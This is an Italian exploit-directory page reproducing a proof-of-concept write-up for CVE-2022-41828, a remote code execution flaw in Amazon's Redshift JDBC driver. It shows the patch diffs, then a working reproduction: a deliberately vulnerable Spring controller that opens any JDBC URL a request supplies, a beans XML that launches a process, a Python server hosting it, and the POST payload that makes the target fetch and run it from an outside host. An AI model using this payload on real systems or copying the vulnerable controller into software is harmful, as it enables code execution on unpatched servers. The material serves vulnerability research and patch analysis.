Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-41828 — [CVE-2022-41828] Amazon AWS Redshift JDBC Driver Esecuzione di codice remoto (RCE) | Kitploit
Strumenti/GitHubGitHub/murataydemir/cve-2022-41828
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza CloudApprendimento e FormazioneSicurezza dei Database
GitHubmurataydemir/cve-2022-41828

CVE-2022-41828

[CVE-2022-41828] Amazon AWS Redshift JDBC Driver Esecuzione di codice remoto (RCE)

Vedi Repository
423 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

[CVE-2022-41828] Amazon AWS Redshift JDBC Driver - Esecuzione di codice in remoto (RCE)


Platform Badge Ecosystem

The Amazon JDBC Driver for Redshift è un driver JDBC di tipo 4 che fornisce la connettività al database tramite le interfacce standard JDBC (Application Program Interfaces, API) disponibili in Java Platform, Enterprise Edition. Il driver fornisce l'accesso a Redshift da qualsiasi applicazione Java, server applicativo o applet abilitato per Java.

Esiste un potenziale problema di esecuzione remota di comandi in redshift-jdbc42 versioni 2.1.0.7 e precedenti. Quando si utilizzano plugin con il driver, questo istanzia istanze di plugin basate su nomi di classi Java forniti tramite le proprietà di connessione sslhostnameverifier, socketFactory, sslfactory e sslpasswordcallback. Nelle versioni vulnerabili, il driver non verifica che una classe plugin implementi l'interfaccia prevista prima dell'istanziazione. Ciò può portare al caricamento di classi Java arbitrarie, che un attaccante esperto con il controllo dell'URL JDBC può utilizzare per ottenere l'esecuzione di codice in remoto.

Patch

Questo problema è corretto in redshift-jdbc-42 versione 2.1.0.8 e successive.

Soluzioni alternative

AWS consiglia ai clienti che utilizzano plugin di aggiornare a redshift-jdbc42 versione 2.1.0.8 o successiva. Non ci sono soluzioni alternative note per questo problema.

Analisi della patch: issue GitHub e commit correlati

Per correggere questo problema, sono state apportate modifiche in 4 diverse classi Java nel commit aws/amazon-redshift-jdbc-driver@9999659. Queste classi sono le seguenti, rispettivamente.

  • src/main/java/com/amazon/redshift/core/SocketFactoryFactory.java
root@kitploit:~
@@ -38,7 +38,7 @@ public static SocketFactory getSocketFactory(Properties info) throws RedshiftExc
     return SocketFactory.getDefault();
   }
   try {
     //removed return (SocketFactory) ObjectFactory.instantiate(socketFactoryClassName, info, true, RedshiftProperty.SOCKET_FACTORY_ARG.get(info));
     return ObjectFactory.instantiate(SocketFactory.class, socketFactoryClassName, info, true, RedshiftProperty.SOCKET_FACTORY_ARG.get(info)); //added
   } catch (Exception e) {
     throw new RedshiftException(
@@ -66,7 +66,7 @@ public static SSLSocketFactory getSslSocketFactory(Properties info) throws Redsh
     if (classname.equals(RedshiftConnectionImpl.NON_VALIDATING_SSL_FACTORY))
     		classname = NonValidatingFactory.class.getName();

     //removed return (SSLSocketFactory) ObjectFactory.instantiate(classname, info, true, RedshiftProperty.SSL_FACTORY_ARG.get(info));
     return  ObjectFactory.instantiate(SSLSocketFactory.class, classname, info, true, RedshiftProperty.SSL_FACTORY_ARG.get(info)); //added
   } catch (Exception e) {
     throw new RedshiftException(

commit-1

  • src/main/java/com/amazon/redshift/ssl/LibPQFactory.java
root@kitploit:~
@@ -61,7 +61,7 @@ private CallbackHandler getCallbackHandler(Properties info) throws RedshiftExcep
   String sslpasswordcallback = RedshiftProperty.SSL_PASSWORD_CALLBACK.get(info);
   if (sslpasswordcallback != null) {
     try {
       //removed cbh = (CallbackHandler) ObjectFactory.instantiate(sslpasswordcallback, info, false, null);
       cbh =  ObjectFactory.instantiate(CallbackHandler.class, sslpasswordcallback, info, false, null); //added
     } catch (Exception e) {
       throw new RedshiftException(
         GT.tr("The password callback class provided {0} could not be instantiated.",

commit-2

  • src/main/java/com/amazon/redshift/ssl/MakeSSL.java
root@kitploit:~
@@ -59,7 +59,7 @@ private static void verifyPeerName(RedshiftStream stream, Properties info, SSLSo
   sslhostnameverifier = "RedshiftjdbcHostnameVerifier";
 } else {
   try {
     //removed hvn = (HostnameVerifier) instantiate(sslhostnameverifier, info, false, null);
     hvn = instantiate(HostnameVerifier.class, sslhostnameverifier, info, false, null); //added
   } catch (Exception e) {
     throw new RedshiftException(
         GT.tr("The HostnameVerifier class provided {0} could not be instantiated.",

commit-3

  • src/main/java/com/amazon/redshift/util/ObjectFactory.java
root@kitploit:~
@@ -34,13 +34,13 @@ public class ObjectFactory {
  * @throws IllegalAccessException if something goes wrong
  * @throws InvocationTargetException if something goes wrong
  */
 //removed public static Object instantiate(String classname, Properties info, boolean tryString,
 public static <T> T instantiate(Class<T> expectedClass, String classname, Properties info, boolean tryString, //added
     String stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException,
         IllegalArgumentException, InstantiationException, IllegalAccessException,
         InvocationTargetException {
   Object[] args = {info};
   Constructor<?> ctor = null; //removed
   Class<?> cls = Class.forName(classname); //removed
   Constructor<? extends T> ctor = null; //added
   Class<? extends T> cls = Class.forName(classname).asSubclass(expectedClass); //added    
   try {
     ctor = cls.getConstructor(Properties.class);
   } catch (NoSuchMethodException nsme) {

commit-4

Riproduzione: sviluppo dell'applicazione vulnerabile e passaggi di sfruttamento

Per riprodurre la CVE-2022-41828, è stata sviluppata un'applicazione Java vulnerabile con il framework Spring che utilizza come libreria esterna il driver vulnerabile redshift-jdbc42 versione 2.1.0.7.

I seguenti frammenti di codice rappresentano il contenuto del file pom.xml.

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.5</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>RedshiftJdbcRce</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>RedshiftJdbcRce</name>
    <description>RedshiftJdbcRce</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>

        <!-- https://mvnrepository.com/artifact/com.amazon.redshift/redshift-jdbc42 -->
        <dependency>
            <groupId>com.amazon.redshift</groupId>
            <artifactId>redshift-jdbc42</artifactId>
            <version>2.1.0.7</version>
        </dependency>

        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.9.4</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

pom xml

I seguenti frammenti di codice rappresentano il contenuto della classe controller src/main/java/com/example/redshiftjdbcrce/controller/RedshiftJdbcRCE.java.

root@kitploit:~
package com.example.redshiftjdbcrce.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.sql.DriverManager;
import java.sql.SQLException;

@RestController
public class RedshiftJdbcRCE {
    @RequestMapping("/jdbcset")
    public void jdbcSet(HttpServletRequest request, HttpServletResponse response) throws SQLException {
        String jdbcurl = request.getParameter("jdbc");
        DriverManager.getConnection(jdbcurl);
    }

    public static void main(String[] args) throws SQLException {
    }
}

RedshiftJdbcRCE java

Il seguente file rappresenta il contenuto del costruttore della struttura del documento XML cmd.xml utilizzato durante lo sfruttamento.

root@kitploit:~
<beans
    xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <!--<value>touch</value>-->
                <!--<value>/tmp/CVE-2022-41828</value>-->
                <value>gnome-calculator</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

Prima di innescare la vulnerabilità, il file cmd.xml pertinente viene servito su HTTP in modo che possa essere raggiunto dal server di destinazione.

root@kitploit:~
root@kali:~$ python3 -m http.server 2121

Per innescare/sfruttare la vulnerabilità, viene inviata una richiesta insieme al payload come segue.

root@kitploit:~
POST /jdbcset HTTP/1.1
Host: 127.0.0.1:8081
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 173

jdbc=jdbc:redshift://127.0.0.1:5439/testdb;socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext;socketFactoryArg=http://172.22.0.43:2121/cmd.xml
root@kitploit:~
HTTP/1.1 500 
Content-Type: application/json
Date: Thu, 08 Dec 2022 13:58:14 GMT
Connection: close
Content-Length: 108

{
  "timestamp": "2022-12-08T13:58:14.295+00:00",
  "status": 500,
  "error": "Internal Server Error",
  "path": "/jdbcset"
}

request-and-response

https://user-images.githubusercontent.com/16391655/206683655-950cd80e-e5d2-45ab-b3eb-64d7f29d8315.mp4

Riferimenti

Per maggiori informazioni sulla risoluzione di questa vulnerabilità, consulta le seguenti risorse:

  • GitHub Advisory Database: AWS Redshift JDBC Driver non riesce a convalidare il tipo di classe durante l'istanziazione dell'oggetto
  • GitHub Advisory Database: Potenziale esecuzione remota di comandi in redshift-jdbc-42 <= 2.1.0.7
  • Commit per il rilascio della versione 2.1.0.8: aws/amazon-redshift-jdbc-driver@40b143b
  • Commit per la correzione di Object Factory per verificare il tipo di classe durante l'istanziazione di un oggetto dalla classe: aws/amazon-redshift-jdbc-driver@9999659
  • Tenable Advisory: CVE-2022-41828
  • NIST Advisory: CVE-2022-41828
  • MITRE Advisory: CVE-2022-41828

Crediti

  • Un ringraziamento speciale a Bearcat per l'aiuto fornito durante la riproduzione di questa vulnerabilità.
Scarica lo strumento